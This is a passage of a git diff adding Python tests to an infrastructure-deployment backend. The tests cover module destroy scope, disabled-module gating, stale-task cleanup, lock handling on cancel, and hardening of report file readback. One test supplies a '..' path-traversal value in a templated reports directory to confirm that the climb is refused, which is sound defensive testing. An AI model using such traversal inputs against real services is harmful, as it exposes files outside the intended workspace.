bnk_mod, cluster_mod) + + assert cluster_mod.id not in dispatched, ( + "destroying bnk-install cascaded into cluster-create — the ROKS cluster " + "the user asked to keep would be deleted (issue #525)" + ) + assert dispatched == [] + + def test_project_scope_destroy_still_queues_the_dependency( + self, db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance, make_task, + ): + """The guard is scope-specific: a real teardown must still walk the DAG. + + Without this, 'nothing was dispatched' above would also pass if the chain + were broken outright. + """ + project, cluster_mod, bnk_mod = self._two_module_stack( + db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance, + ) + + make_task( + project=project, module=bnk_mod, task_type="destroy", status="completed", + meta_data={"destroy_scope": "project"}, + ) + + dispatched = self._run_trigger(db, bnk_mod, cluster_mod) + + assert cluster_mod.id in dispatched, ( + "project-scope destroy must still tear down dependencies" + ) + + def test_submit_destroy_stamps_module_scope( + self, db, make_project, make_project_module, make_module_library, + ): + """submit_destroy is what puts the scope on the Task row. + + Ties the service to the trigger guard above — if this stamp regresses, + the cascade comes back even though the guard still works. + """ + from models import Task as TaskModel + from services.project_module_service import ProjectModuleService + + project = make_project() + lib = make_module_library(name="bnk-install", path="bnk/bnk-install") + module = make_project_module(project=project, library_module=lib, status="applied") + + with patch("services.execution.task_dispatch.dispatch_destroy") as mock_dispatch, \ + patch.object(ProjectModuleService, "_create_snapshot"): + mock_dispatch.return_value = MagicMock(id="celery-destroy-1") + ProjectModuleService(db).submit_destroy(module.id, triggered_by="tester") + + task = ( + db.query(TaskModel) + .filter(TaskModel.module_id == module.id, TaskModel.task_type == "destroy") + .order_by(TaskModel.id.desc()) + .first() + ) + assert task is not None + assert (task.meta_data or {}).get("destroy_scope") == "module" + + +# --------------------------------------------------------------------------- +# Disabled modules are not dispatched by the deploy chain — issue #527 +# --------------------------------------------------------------------------- + +class TestDisabledModuleNotDispatchedByChain: + """The dependency chain must skip a disabled module. + + This is the exact path from issue #527: module 166 was set `enabled: false`, + module 165 was applied on its own, and the moment 165 completed the chain + dispatched 166 anyway. + """ + + def test_trigger_next_stack_module_skips_disabled( + self, db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance, + ): + from tasks._tofu_helpers import _trigger_next_stack_module + + project = make_project() + lib_a = make_module_library(name="cluster-create", path="bnk/cluster-create") + lib_b = make_module_library(name="bnk-install", path="bnk/bnk-install") + template = make_stack_template() + stack = make_stack_instance(project=project, template=template, status="deploying") + + done = make_project_module( + project=project, library_module=lib_a, status="applied", + stack_instance_id=stack.id, + ) + disabled = make_project_module( + project=project, library_module=lib_b, status="initialized", + dependencies=[done.id], stack_instance_id=stack.id, enabled=False, + ) + stack.deployed_modules = [done.id, disabled.id] + db.flush() + + with patch("services.execution.task_dispatch.dispatch_apply") as mock_apply, \ + patch("services.execution.task_dispatch.dispatch_init") as mock_init: + _trigger_next_stack_module(stack, done, db) + + mock_apply.assert_not_called() + mock_init.assert_not_called() + db.refresh(disabled) + assert disabled.status == "initialized", ( + f"disabled module was dispatched anyway (status={disabled.status}) — " + "there is no way to deploy only part of a blueprint (issue #527)" + ) + + def test_trigger_next_stack_module_still_dispatches_enabled( + self, db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance, + ): + """Contrast: the same wiring with enabled=True does dispatch. + + Proves the skip above comes from the enabled flag, not from the chain + being inert in this fixture. + """ + from tasks._tofu_helpers import _trigger_next_stack_module + + project = make_project() + lib_a = make_module_library(name="cluster-create", path="bnk/cluster-create") + lib_b = make_module_library(name="bnk-install", path="bnk/bnk-install") + template = make_stack_template() + stack = make_stack_instance(project=project, template=template, status="deploying") + + done = make_project_module( + project=project, library_module=lib_a, status="applied", + stack_instance_id=stack.id, + ) + enabled = make_project_module( + project=project, library_module=lib_b, status="initialized", + dependencies=[done.id], stack_instance_id=stack.id, enabled=True, + ) + stack.deployed_modules = [done.id, enabled.id] + db.flush() + + with patch("services.execution.task_dispatch.dispatch_apply") as mock_apply: + mock_apply.return_value = MagicMock(id="celery-apply-1") + _trigger_next_stack_module(stack, done, db) + + assert mock_apply.called, "enabled module should still be dispatched" + + def test_first_wave_skips_disabled( + self, db, make_project, make_project_module, make_module_library, + ): + """The project-scope wave (blueprint-imported projects) skips it too.""" + from services.parallel_execution_service import ParallelExecutionService + + project = make_project() + lib = make_module_library(name="bnk-install", path="bnk/bnk-install") + disabled = make_project_module( + project=project, library_module=lib, status="initialized", enabled=False, + ) + db.flush() + + with patch("services.execution.task_dispatch.dispatch_apply") as mock_apply, \ + patch("services.execution.task_dispatch.dispatch_init") as mock_init, \ + patch("services.workspace_manager.WorkspaceManager"): + ParallelExecutionService(db)._dispatch_first_wave(project.id, run_handle="h1") + + mock_apply.assert_not_called() + mock_init.assert_not_called() + db.refresh(disabled) + assert disabled.status == "initialized" + + +class TestDestroyWaveIgnoresEnabled: + """A project teardown must destroy DISABLED modules too. + + The deploy paths gained an `enabled` gate (issue #527). The destroy wave + deliberately did NOT, and that asymmetry is easy to "tidy up" later into a + data-loss bug: a disabled module can still hold live infrastructure, so + skipping it in a project destroy strands whatever it already built, with no + UI affordance left to reach it. + + Pinning the invariant so the omission reads as intentional. + """ + + def test_disabled_module_is_still_dispatched_by_the_destroy_wave( + self, db, make_project, make_project_module, make_module_library, + ): + from services.parallel_execution_service import ParallelExecutionService + + project = make_project() + lib = make_module_library(name="vpc", path="bnk/vpc") + disabled = make_project_module( + project=project, library_module=lib, status="applied", enabled=False, + ) + db.flush() + + dispatched = [] + + def capture(task_id, module): + dispatched.append(module.id) + mock = MagicMock() + mock.apply_async.return_value.id = f"celery-{module.id}" + return mock + + with patch("tasks._tofu_helpers.DependencyGraphService") as mock_gs, \ + patch("services.execution.task_dispatch.dispatch_destroy_signature", side_effect=capture): + graph = MagicMock() + graph.get_reverse_dependencies.return_value = [] + mock_gs.return_value = graph + ParallelExecutionService(db)._dispatch_first_destroy_wave( + project.id, run_handle="h-destroy", force_destroy=True + ) + + assert disabled.id in dispatched, ( + "a disabled module was skipped by the project destroy wave — its " + "infrastructure would be stranded with no way to reach it" + ) diff --git a/backend/tests/component/test_execution_janitor.py b/backend/tests/component/test_execution_janitor.py index 405cb0de..ccd45476 100644 --- a/backend/tests/component/test_execution_janitor.py +++ b/backend/tests/component/test_execution_janitor.py @@ -38,6 +38,89 @@ def test_skips_live_celery_id(self, db, make_task): assert task.id not in reset_ids assert task.status == "queued" + @pytest.mark.parametrize( + ("module_status", "expected"), + [ + ("applying", "apply_failed"), + ("planning", "plan_failed"), + ("initializing", "init_failed"), + ], + ) + def test_resets_module_stuck_in_transient_state( + self, db, make_task, make_project_module, module_status, expected + ): + """#6: a dead deploy worker must not leave the module transient forever. + + Flipping only the Task row left the UI showing a perpetually-applying + module with no error and no Retry button (Retry only renders for *_failed), + recoverable only by a manual UPDATE against the DB. + """ + module = make_project_module(status=module_status) + task = make_task( + status="in_progress", + task_type="apply", + module=module, + celery_task_id="dead-worker", + ) + + reset_ids = reset_stale_tasks(db, live_task_ids=set()) + db.flush() + + assert task.id in reset_ids + assert module.status == expected + assert "Worker no longer alive" in (module.deployment_error or "") + + def test_live_task_leaves_module_alone(self, db, make_task, make_project_module): + """A running deploy must never be reset out from under itself.""" + module = make_project_module(status="applying") + make_task( + status="in_progress", + task_type="apply", + module=module, + celery_task_id="live-task", + ) + + reset_stale_tasks(db, live_task_ids={"live-task"}) + db.flush() + + assert module.status == "applying" + + def test_terminal_module_status_is_not_rewritten( + self, db, make_task, make_project_module + ): + """A module that already reached a terminal state keeps it.""" + module = make_project_module(status="applied") + make_task( + status="in_progress", + task_type="apply", + module=module, + celery_task_id="dead-worker", + ) + + reset_stale_tasks(db, live_task_ids=set()) + db.flush() + + assert module.status == "applied" + + def test_existing_deployment_error_is_preserved( + self, db, make_task, make_project_module + ): + """The real error, if one was recorded, must win over the janitor's note.""" + module = make_project_module(status="applying") + module.deployment_error = "terraform: quota exceeded" + make_task( + status="in_progress", + task_type="apply", + module=module, + celery_task_id="dead-worker", + ) + + reset_stale_tasks(db, live_task_ids=set()) + db.flush() + + assert module.status == "apply_failed" + assert module.deployment_error == "terraform: quota exceeded" + def test_skips_terminal_tasks(self, db, make_task): completed = make_task(status="completed", celery_task_id="x") failed = make_task(status="failed", celery_task_id="y") diff --git a/backend/tests/component/test_lifecycle_review_fixes.py b/backend/tests/component/test_lifecycle_review_fixes.py new file mode 100644 index 00000000..6f43489c --- /dev/null +++ b/backend/tests/component/test_lifecycle_review_fixes.py @@ -0,0 +1,342 @@ +"""Review fixes for the module-lifecycle PR (bonnyr-f5 cold audit).""" + +from datetime import UTC, datetime +from unittest.mock import MagicMock, patch + +import pytest + +from core.errors import BadRequestError + + +@pytest.mark.component +class TestDestroyScopeBelongsToTheRun: + """Scope must come from the EXECUTING task, not the module's newest one. + + Blocker: destroy leaf M (module scope) → user clicks Destroy All while it + runs → the wave skips M because it has a non-terminal destroy task → M + completes → the newest row is still module-scoped → the chain stops before + chaining AND before terminal detection. Dependencies stranded, entity stuck + in DESTROYING forever. + """ + + def test_destroy_all_ADOPTS_an_in_flight_module_scoped_task( + self, db, make_project, make_project_module, make_module_library, make_task + ): + """The real scenario, which my previous test had inverted. + + Previously this class created a project-scoped row and asserted it won. + That state is unreachable: the wave's idempotency guard is precisely why + no project row exists for a module with an in-flight destroy. The test + pinned the opposite of the bug. + + What must happen instead: the wave ADOPTS the in-flight module-scoped + task into the run, so when it completes the chain resolves "project" and + the dependencies are queued. + """ + from services.parallel_execution_service import ParallelExecutionService + from tasks._tofu_helpers import _destroy_scope_for + + project = make_project() + lib_root = make_module_library(name="cluster", path="bnk/cluster") + lib_leaf = make_module_library(name="bnk", path="bnk/bnk") + root = make_project_module(project=project, library_module=lib_root, status="applied") + leaf = make_project_module(project=project, library_module=lib_leaf, + status="destroying", dependencies=[root.id]) + + # Step 1: a single-module destroy is already running for the leaf. + in_flight = make_task(project=project, module=leaf, task_type="destroy", + status="in_progress", + meta_data={"destroy_scope": "module"}) + assert _destroy_scope_for(leaf, db, in_flight.id) == "module" + + # Step 2: user clicks Destroy All. + with patch("tasks._tofu_helpers.DependencyGraphService") as gs, \ + patch("services.execution.task_dispatch.dispatch_destroy_signature") as sig: + graph = MagicMock() + graph.get_reverse_dependencies.return_value = [] + gs.return_value = graph + sig.return_value = MagicMock() + ParallelExecutionService(db)._dispatch_first_destroy_wave( + project.id, run_handle="run-adopt", force_destroy=True + ) + db.refresh(in_flight) + + # Step 3: the executing task is now part of the project run, so when it + # completes the chain proceeds instead of stranding the dependency. + assert _destroy_scope_for(leaf, db, in_flight.id) == "project", ( + "the in-flight module-scoped task was skipped rather than adopted — " + "its dependencies would never be queued and the project would sit in " + "DESTROYING forever" + ) + assert in_flight.run_handle == "run-adopt" + + def test_without_a_task_id_it_still_falls_back_to_newest( + self, db, make_project, make_project_module, make_module_library, make_task + ): + """The janitor re-drives after worker death with no executing task.""" + from tasks._tofu_helpers import _destroy_scope_for + + project = make_project() + lib = make_module_library(name="m2", path="bnk/m2") + module = make_project_module(project=project, library_module=lib, status="destroyed") + make_task(project=project, module=module, task_type="destroy", status="completed", + meta_data={"destroy_scope": "project"}, run_handle="run-9") + + assert _destroy_scope_for(module, db) == "project" + + +@pytest.mark.component +class TestUnknownDestroyScopeFailsClosed: + """An unstamped legacy row must NOT fall through to the cascading heuristic. + + Blocker: every destroy Task written before the stamp existed has + meta_data = NULL. A single-module destroy enqueued by the old code and still + QUEUED across the rollout would complete under the stack_instance_id + heuristic and delete its dependency — the original data-loss bug, live + during the deploy window. + """ + + def test_legacy_row_without_run_handle_resolves_to_module( + self, db, make_project, make_project_module, make_module_library, make_task + ): + from tasks._tofu_helpers import _destroy_scope_for + + project = make_project() + lib = make_module_library(name="legacy", path="bnk/legacy") + module = make_project_module(project=project, library_module=lib, status="destroyed") + # Exactly what create_task produced before the stamp: no meta_data, and + # no run_handle (only the wave dispatchers set that). + t = make_task(project=project, module=module, task_type="destroy", status="completed") + t.meta_data = None + t.run_handle = None + db.flush() + + assert _destroy_scope_for(module, db, t.id) == "module", ( + "an unstamped single-module destroy fell through to the cascading " + "heuristic — this is the original data-loss bug during rollout" + ) + + def test_legacy_row_WITH_a_run_handle_still_defers_to_the_heuristic( + self, db, make_project, make_project_module, make_module_library, make_task + ): + """Contrast: a wave-dispatched legacy row is a real multi-module run.""" + from tasks._tofu_helpers import _destroy_scope_for + + project = make_project() + lib = make_module_library(name="legacy2", path="bnk/legacy2") + module = make_project_module(project=project, library_module=lib, status="destroyed") + t = make_task(project=project, module=module, task_type="destroy", status="completed", + run_handle="run-legacy") + t.meta_data = None + db.flush() + + assert _destroy_scope_for(module, db, t.id) is None + + +@pytest.mark.component +class TestCancelRequiresAConfirmedKill: + """The lock must not be released on an unconfirmed kill. + + Blocker: cancel runs in the FastAPI `backend` service, whose image has no + docker CLI and no DOCKER_HOST. `docker ps` raised FileNotFoundError, the + runner swallowed it into "0 containers killed", and the caller + force-released the lock — green light into a re-apply racing a live + container over the same workspace. + """ + + def _module(self, db, make_project, make_module_library, make_project_module): + project = make_project() + lib = make_module_library(name="vpc", path="infra/vpc") + m = make_project_module(project=project, library_module=lib, status="applying") + db.flush() + return project, m + + @patch("services.project_module_service.update_project_counts") + def test_unconfirmed_kill_retains_the_lock_and_says_so( + self, _c, db, make_project, make_module_library, make_project_module, make_task + ): + from services.project_module_service import ProjectModuleService + + project, module = self._module(db, make_project, make_module_library, make_project_module) + svc = ProjectModuleService(db) + make_task(project=project, module=module, task_type="apply", + status="in_progress", celery_task_id="celery-live") + + with patch("celery_app.celery_app"), \ + patch("services.module_lock.ModuleLockService") as lock, \ + patch.object(ProjectModuleService, "_kill_containers_for_tasks", + return_value=([], False)): + result = svc.cancel_operation(module.id) + + lock.return_value.force_release.assert_not_called() + assert result["containers_kill_confirmed"] is False + assert "could not be confirmed" in result["message"], ( + "an unconfirmed kill was reported as a clean stop" + ) + + @patch("services.project_module_service.update_project_counts") + def test_confirmed_kill_releases_the_lock( + self, _c, db, make_project, make_module_library, make_project_module, make_task + ): + """Contrast: the normal path must still release.""" + from services.project_module_service import ProjectModuleService + + project, module = self._module(db, make_project, make_module_library, make_project_module) + svc = ProjectModuleService(db) + make_task(project=project, module=module, task_type="apply", + status="in_progress", celery_task_id="celery-live") + + with patch("celery_app.celery_app"), \ + patch("services.module_lock.ModuleLockService") as lock, \ + patch.object(ProjectModuleService, "_kill_containers_for_tasks", + return_value=(["abc123"], True)): + result = svc.cancel_operation(module.id) + + lock.return_value.force_release.assert_called_once() + assert result["containers_kill_confirmed"] is True + + +@pytest.mark.component +class TestDispatchChokepointGate: + """`enabled` is enforced where every deploy path crosses. + + Gating at the callers missed stack_service.run_deploy (Deploy All for a + stack — and the topology filter is the main producer of disabled modules), + submit_init, and the worker auto-apply chains, which gate only on + can_execute(), a dependency check that never looks at `enabled`. + """ + + def _disabled(self): + return MagicMock(id=7, enabled=False) + + @pytest.mark.parametrize("fn,args", [ + ("dispatch_init", ()), ("dispatch_plan", ()), ("dispatch_apply", ()), + ("dispatch_apply_signature", ()), + ("dispatch_container_action", ("run-e2e", None)), + ]) + def test_every_dispatch_entry_point_refuses_a_disabled_module(self, fn, args): + from services.execution import task_dispatch + with pytest.raises(ValueError, match="(?i)disabled"): + getattr(task_dispatch, fn)(1, self._disabled(), *args) + + def test_destroy_is_deliberately_not_gated(self): + """A disabled module can still hold live infrastructure.""" + from services.execution import task_dispatch + with patch("tasks.opentofu_tasks.run_opentofu_destroy") as t: + t.delay.return_value = MagicMock(id="c1") + task_dispatch.dispatch_destroy(1, MagicMock(id=7, enabled=False, + library_module=None, + path_in_project="p")) + + +@pytest.mark.component +class TestCancelResolvesSubstrateNotDispatchFamily: + """A container artifact on Kubernetes has no kill path — say so (review finding). + + `get_engine_type` returns the DISPATCH FAMILY; the substrate is chosen + separately from execution.container_runner.backend or deploy_model. So a + K8s-substrate module took the docker branch, `docker ps` returned zero rows + with exit 0, and that read as a CONFIRMED kill: lock released, user told it + stopped, while the Job ran on against live infrastructure. + """ + + def _module(self, manifest): + return MagicMock(id=9, library_module=MagicMock(pack_manifest=manifest)) + + @pytest.mark.parametrize("manifest,expected", [ + ({"execution": {"container_runner": {"backend": "kubernetes"}}}, "kubernetes"), + ({"deploy_model": "helm"}, "kubernetes"), + ({"execution": {"container_runner": {"backend": "docker"}}}, "docker"), + ({"deploy_model": "compose"}, "docker"), + ({}, "docker"), + ]) + def test_substrate_resolution_mirrors_the_task_layer(self, manifest, expected): + from services.project_module_service import ProjectModuleService + assert ProjectModuleService._container_substrate(self._module(manifest)) == expected + + def test_kubernetes_substrate_reports_UNCONFIRMED(self): + """No bnkforge.task label is stamped and the reaper is docker-only, so + there is nothing to kill by — unconfirmed retains the lock.""" + from services.project_module_service import ProjectModuleService + + svc = ProjectModuleService(MagicMock()) + module = self._module({"deploy_model": "helm"}) + task = MagicMock(celery_task_id="celery-1") + + with patch("services.execution.task_dispatch.get_engine_type", return_value="container"), \ + patch("tasks.container_tasks.kill_module_containers") as kill: + killed, confirmed = svc._kill_containers_for_tasks(module, [task]) + + assert confirmed is False, ( + "a Kubernetes-substrate module reported a confirmed kill having killed " + "nothing — the lock would be released while the Job kept running" + ) + assert killed == [] + # The decisive assertion: it must not even TRY the docker kill. Without + # this, the test passes against the broken version too — the unpatched + # dispatch fails on a missing broker and also returns unconfirmed, which + # is the right answer reached by accident rather than by design. + kill.apply_async.assert_not_called() + + def test_docker_substrate_still_dispatches_the_kill(self): + """Contrast: the substrate that DOES have a kill path must still use it.""" + from services.project_module_service import ProjectModuleService + + svc = ProjectModuleService(MagicMock()) + module = self._module({"deploy_model": "compose"}) + task = MagicMock(celery_task_id="celery-1") + dispatched = MagicMock() + dispatched.get.return_value = {"killed": ["abc"], "reachable": True, "error": None} + + with patch("services.execution.task_dispatch.get_engine_type", return_value="container"), \ + patch("tasks.container_tasks.kill_module_containers") as kill: + kill.apply_async.return_value = dispatched + killed, confirmed = svc._kill_containers_for_tasks(module, [task]) + + assert (killed, confirmed) == (["abc"], True) + + +@pytest.mark.component +class TestDisabledModulesAreFilteredNotRaisedOver: + """The gate must not raise into loops that commit before dispatching. + + stack_service.run_deploy commits a queued Task row before dispatch_init and + has no try/except: a raise abandons every later module, leaves the stack + DEPLOYING, and leaves an orphan queued row that makes _has_active_task true + forever — permanently skipping that module on re-runs. + """ + + def test_stack_deploy_filters_disabled_modules_out(self): + """The filter is on the dispatch SET, so no raise can reach the loop.""" + import inspect + + from services import stack_service + + src = inspect.getsource(stack_service.StackService.run_deploy) + assert "if m.enabled" in src, ( + "run_deploy does not filter disabled modules — a disabled module " + "would raise mid-loop and strand the whole stack deploy" + ) + + def test_submit_init_rejects_before_creating_a_task(self, db, make_project, + make_module_library, + make_project_module): + """Rejection must precede create_task, which commits.""" + from models import Task as TaskModel + from services.project_module_service import ProjectModuleService + + project = make_project() + lib = make_module_library(name="v", path="i/v") + module = make_project_module(project=project, library_module=lib, + status="not_initialized", enabled=False) + db.flush() + + with pytest.raises(BadRequestError, match="(?i)disabled"): + ProjectModuleService(db).submit_init(module.id) + + assert db.query(TaskModel).filter(TaskModel.module_id == module.id).count() == 0, ( + "an orphan Task row was committed before the rejection — " + "_has_active_task would then skip this module forever" + ) + db.refresh(module) + assert module.status == "not_initialized", "a transitional status was stranded" diff --git a/backend/tests/component/test_module_lock.py b/backend/tests/component/test_module_lock.py index e0461f19..83be3d45 100644 --- a/backend/tests/component/test_module_lock.py +++ b/backend/tests/component/test_module_lock.py @@ -161,6 +161,83 @@ def test_paused_worker_resumed_write_is_rejected( db.expire(module) assert module.deployment_error == "B was here" + def test_failure_transition_records_the_cause_as_reason(self, db, module, make_task): + """#101: every engine writes the cause into deployment_error in the same + call as the *_failed status, but the hand-off to the state machine + never forwarded it -- so module_state_transitions recorded THAT a + module failed and never WHY. The reason is now derived from + deployment_error at the one shared hand-off, so no call site has to + remember.""" + from models import ModuleStateTransition + + svc = ModuleLockService(db) + module.status = "initializing" + db.commit() + task = make_task(project=module.project, module=module) + lock = svc.acquire(module.id, task_id=task.id) + + set_locked_module_fields( + db, module, lock, + status="init_failed", + deployment_error="step 'init-poc' failed (exit 1): refusing to overwrite /state/poc", + ) + db.expire(module) + + row = ( + db.query(ModuleStateTransition) + .filter(ModuleStateTransition.module_id == module.id) + .order_by(ModuleStateTransition.id.desc()) + .first() + ) + assert row is not None + assert row.to_status == "init_failed" + assert row.reason, "failure transition was audited with an empty reason" + assert "init-poc" in row.reason + + def test_explicit_reason_wins_over_deployment_error(self, db, module, make_task): + from models import ModuleStateTransition + + svc = ModuleLockService(db) + module.status = "applying" + db.commit() + task = make_task(project=module.project, module=module) + lock = svc.acquire(module.id, task_id=task.id) + + set_locked_module_fields( + db, module, lock, + status="apply_failed", + deployment_error="the long log tail", + reason="quota exceeded", + ) + row = ( + db.query(ModuleStateTransition) + .filter(ModuleStateTransition.module_id == module.id) + .order_by(ModuleStateTransition.id.desc()) + .first() + ) + assert row.reason == "quota exceeded" + + def test_reason_is_clamped_to_the_column_width(self, db, module, make_task): + """deployment_error can be a 2000-char log tail; reason is String(500).""" + from models import ModuleStateTransition + + svc = ModuleLockService(db) + module.status = "applying" + db.commit() + task = make_task(project=module.project, module=module) + lock = svc.acquire(module.id, task_id=task.id) + + set_locked_module_fields( + db, module, lock, status="apply_failed", deployment_error="x" * 2000, + ) + row = ( + db.query(ModuleStateTransition) + .filter(ModuleStateTransition.module_id == module.id) + .order_by(ModuleStateTransition.id.desc()) + .first() + ) + assert len(row.reason) == 500 + def test_set_locked_fields_succeeds_with_correct_fence( self, db, module ): diff --git a/backend/tests/component/test_module_multi_version.py b/backend/tests/component/test_module_multi_version.py index 2d79a359..f8aebb6a 100644 --- a/backend/tests/component/test_module_multi_version.py +++ b/backend/tests/component/test_module_multi_version.py @@ -178,15 +178,18 @@ def test_stale_inactivation_keeps_all_versions_of_present_path(db): svc._import_pack_module(source, _info("1.11.4"), "tools/roksbnkctl") svc._import_pack_module(source, _info("1.20.0"), "tools/roksbnkctl") - inactivated = svc._inactivate_stale_manifest_modules( + inactivated, pinned = svc._inactivate_stale_manifest_modules( source_id=source.id, discovered_pack_paths={"tools/roksbnkctl"} ) assert inactivated == 0 + assert pinned == [] assert all(r.is_active for r in _rows(db, source.id)) - inactivated = svc._inactivate_stale_manifest_modules(source_id=source.id, discovered_pack_paths=set()) + inactivated, pinned = svc._inactivate_stale_manifest_modules(source_id=source.id, discovered_pack_paths=set()) db.commit() assert inactivated == 2 + # No project pins these rows in this test, so no pinned-version warnings. + assert pinned == [] assert not any(r.is_active for r in _rows(db, source.id)) @@ -365,3 +368,74 @@ def test_version_sort_key_ignores_build_metadata(): assert ordered.index("2.0.0") < ordered.index("v2.0.1+build.7") # pre-release with build metadata still ranks below the release of the same core assert ordered.index("2.0.1-rc.1+build.9") < ordered.index("v2.0.1+build.7") + + +@pytest.mark.component +def test_inactivation_warns_when_a_pinned_version_is_dropped(db): + """#91: a version row still pinned by a project module must be reported -- + with the pinning projects named -- when the source stops publishing it.""" + from tests.factories import ProjectFactory, ProjectModuleFactory + + source = _source(db) + svc = ModuleSyncService(db) + svc._import_pack_module(source, _info("1.11.4"), "tools/roksbnkctl") + svc._import_pack_module(source, _info("1.20.0"), "tools/roksbnkctl") + db.flush() + + rows = _rows(db, source.id) + pinned_row = next(r for r in rows if r.version == "1.11.4") + + # A project pins the OLD version specifically. + project = ProjectFactory(db, name="payments-prod") + ProjectModuleFactory(db, project=project, library_module=pinned_row) + db.flush() + + # Source now publishes nothing -> both rows go stale. + inactivated, pinned = svc._inactivate_stale_manifest_modules( + source_id=source.id, discovered_pack_paths=set() + ) + db.commit() + + assert inactivated == 2 + # Only the pinned row is warned about, not the unpinned one. + assert len(pinned) == 1 + w = pinned[0] + assert w["module_id"] == pinned_row.id + assert w["version"] == "1.11.4" + assert w["pinned_by"] == [{"project_id": project.id, "project_name": "payments-prod"}] + assert "still pinned by 1 project" in w["message"] + # And the deactivation still happened -- warning, not block (ADR D-033 §4). + assert not any(r.is_active for r in _rows(db, source.id)) + + +@pytest.mark.component +def test_full_sync_surfaces_pinned_warnings_in_results(db): + """Through sync_git_source's results dict, not just the helper.""" + from unittest.mock import patch + + from tests.factories import ProjectFactory, ProjectModuleFactory + + source = _source(db) + svc = ModuleSyncService(db) + # The pinned row lives at a DIFFERENT path than what the source now + # publishes, so it goes stale while the sync still finds a pack (the + # reconcile branch only runs when pack_paths is non-empty). + svc._import_pack_module(source, _info("1.11.4", path="tools/oldctl"), "tools/oldctl") + db.flush() + row = _rows(db, source.id, path="tools/oldctl")[0] + project = ProjectFactory(db, name="edge-cluster") + ProjectModuleFactory(db, project=project, library_module=row) + db.commit() + + def _fake_parse(module_path, temp_dir): + return _info("2.0.0", path="tools/roksbnkctl") + + # Source now publishes only tools/roksbnkctl; tools/oldctl (pinned) goes stale. + with patch.object(svc, "_clone_repository", return_value="/tmp/repo"), \ + patch.object(svc, "_find_pack_modules", return_value=["tools/roksbnkctl"]), \ + patch.object(svc, "_parse_pack_module", side_effect=_fake_parse), \ + patch("os.path.exists", return_value=False): + results = svc.sync_git_source(source) + + assert results["pinned_versions_inactivated"], "pinned deactivation not surfaced in results" + assert results["pinned_versions_inactivated"][0]["pinned_by"][0]["project_name"] == "edge-cluster" diff --git a/backend/tests/component/test_module_reports.py b/backend/tests/component/test_module_reports.py index 13f803e4..d79a2de9 100644 --- a/backend/tests/component/test_module_reports.py +++ b/backend/tests/component/test_module_reports.py @@ -9,7 +9,7 @@ import pytest -from core.errors import AppError +from core.errors import AppError, BadRequestError from services.module_metadata import InvalidMetadataSchemaError, ModuleMetadataValidator from services.module_reports_service import MAX_REPORT_FILE_BYTES, ModuleReportsService from services.workspace_manager import WorkspaceManager @@ -243,3 +243,69 @@ def test_missing_file_is_not_found(self, db, monkeypatch, tmp_path): os.makedirs(os.path.join(ws_root, "poc", "reports"), exist_ok=True) with pytest.raises(AppError): ModuleReportsService(db).read_content(module.id, "nope.md") + + +@pytest.mark.component +class TestReportsReadbackHardening: + """Deferred #468-review nits on the report readback surface (issue #470).""" + + def test_rendered_dir_containing_dotdot_is_refused(self, db, monkeypatch, tmp_path): + """`dir` renders from an input, so a manifest-clean value can still climb. + + realpath containment already held; the manifest-time validator rejects + `..` on the DECLARED value but nothing rejected it on the RENDERED one. + """ + module, ws_root = _module_with_reports( + db, monkeypatch, tmp_path, + dir_value="{{inputs.subdir}}/reports", + variables={"subdir": "poc/.."}, + ) + # Put a file where the climb would land, so a pass here means real exposure. + _write(os.path.join(ws_root, "reports", "2026-07-18T06-00-00Z", "r.md"), "# leaked") + + result = ModuleReportsService(db).list_runs(module.id) + + assert result["runs"] == [], ( + "a rendered reports dir containing '..' was accepted (issue #470)" + ) + + def test_plain_rendered_dir_still_works(self, db, monkeypatch, tmp_path): + """Contrast: templated dirs without a climb must keep working.""" + module, ws_root = _module_with_reports( + db, monkeypatch, tmp_path, + dir_value="{{inputs.subdir}}/reports", + variables={"subdir": "poc"}, + ) + _write(os.path.join(ws_root, "poc", "reports", "2026-07-18T06-00-00Z", "r.md"), "# ok") + + result = ModuleReportsService(db).list_runs(module.id) + assert [r["stamp"] for r in result["runs"]] == ["2026-07-18T06-00-00Z"] + + def test_non_utf8_report_is_rejected_not_mojibake(self, db, monkeypatch, tmp_path): + """A binary/latin-1 file was served as errors='replace' garbage. + + That reads as a corrupt report rather than as "this is not text". + """ + module, ws_root = _module_with_reports(db, monkeypatch, tmp_path) + target = os.path.join(ws_root, "poc", "reports", "2026-07-18T06-00-00Z", "r.md") + os.makedirs(os.path.dirname(target), exist_ok=True) + with open(target, "wb") as handle: + handle.write(b"# Report\n\xff\xfe\x00binary\n") + + with pytest.raises(BadRequestError, match="(?i)utf-8"): + ModuleReportsService(db).read_content( + module.id, "2026-07-18T06-00-00Z/r.md" + ) + + def test_utf8_report_still_reads(self, db, monkeypatch, tmp_path): + """Contrast: real UTF-8, including non-ASCII, must still be served.""" + module, ws_root = _module_with_reports(db, monkeypatch, tmp_path) + _write( + os.path.join(ws_root, "poc", "reports", "2026-07-18T06-00-00Z", "r.md"), + "# Rapport — café ✅\n", + ) + + result = ModuleReportsService(db).read_content( + module.id, "2026-07-18T06-00-00Z/r.md" + ) + assert "café ✅" in result["content"] diff --git a/backend/tests/component/test_module_resolution.py b/backend/tests/component/test_module_resolution.py new file mode 100644 index 00000000..6d881701 --- /dev/null +++ b/backend/tests/component/test_module_resolution.py @@ -0,0 +1,153 @@ +"""Tests for canonical cross-source module resolution (#90). + +D-033 defines module identity as (module_source_id, path, version), but blueprint +pins carry no source, so several surfaces resolve on `path` alone. They used +three different tie-breaks: + + deploy is_latest DESC, last_synced DESC, id DESC + policy is_latest ASC, id ASC -> last wins + stacks is_latest ASC, id ASC -> last wins + +The map builds omitted `last_synced` entirely, so with two sources cataloging the +same path the secret-policy check and the deploy could bind *different* modules +-- disagreeing about which schema counts (F8). +""" + +from __future__ import annotations + +import logging +from datetime import UTC, datetime, timedelta + +import pytest + +from models import ModuleSource +from services.module_resolution import ( + resolve_module_row, + resolve_module_rows_by_path, +) + +PATH = "cli-bnkctl/awsbnkctl/bnk-demo" + + +def _source(db, name: str) -> ModuleSource: + src = ModuleSource( + name=name, + source_type="git", + url=f"https://github.com/example/{name}.git", + branch="main", + is_active=True, + sync_status="success", + ) + db.add(src) + db.flush() + return src + + +def _module(db, *, source, path=PATH, is_latest=True, last_synced=None, version="1.0.0"): + """Use the shared factory so NOT NULL columns stay in one place.""" + from tests.factories import ModuleLibraryFactory + + return ModuleLibraryFactory( + db, + path=path, + version=version, + is_active=True, + is_latest=is_latest, + module_source_id=source.id, + 